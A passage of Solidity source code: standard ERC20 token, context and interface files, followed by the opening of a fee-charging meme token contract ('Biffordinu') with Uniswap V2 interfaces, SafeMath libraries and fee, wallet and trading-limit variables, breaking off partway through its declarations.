constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
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/**
https://t.me/BiffordInu
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transacgtion ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Biffordinu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
